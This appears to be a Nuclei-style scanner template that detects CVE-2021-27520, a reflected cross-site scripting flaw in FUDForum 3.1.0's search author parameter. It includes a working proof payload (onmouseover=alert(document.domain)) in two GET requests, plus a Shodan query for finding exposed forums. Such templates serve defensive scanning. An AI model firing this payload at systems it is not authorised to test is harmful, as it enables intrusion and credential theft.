59 lines
2.1 KiB
YAML
59 lines
2.1 KiB
YAML
id: CVE-2021-27520
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info:
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name: FUDForum 3.1.0 - Cross-Site Scripting
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author: r3Y3r53
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severity: medium
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description: |
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FUDForum 3.1.0 contains a cross-site scripting vulnerability. An attacker can inject JavaScript via index.php in the author parameter, thereby possibly stealing cookie-based authentication credentials and launching other attacks.
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remediation: |
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Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability.
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reference:
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- https://www.exploit-db.com/exploits/49943
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- https://github.com/fudforum/FUDforum/issues/2
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- http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27520
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-27520
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cwe-id: CWE-79
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epss-score: 0.00189
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epss-percentile: 0.56295
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cpe: cpe:2.3:a:fudforum:fudforum:3.1.0:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: fudforum
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product: fudforum
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shodan-query: html:"FUDforum"
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tags: packetstorm,cve,cve2021,xss,fuddorum,edb,intrusive
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http:
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- method: GET
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path:
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- '{{BaseURL}}/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D'
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- '{{BaseURL}}/forum/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D%22'
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- onmouseover=alert(document.domain) x=
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- FUDforum
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condition: and
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100f25cc9416a82260de7bb93b21a49aa51818f92cd0fc26dab1a5303b48379c65e022100c973eb810f06f5e46d93cae607176bf80215b34dfeff72c87152dd2425e4d598:922c64590222798bb761d5b6d8e72950
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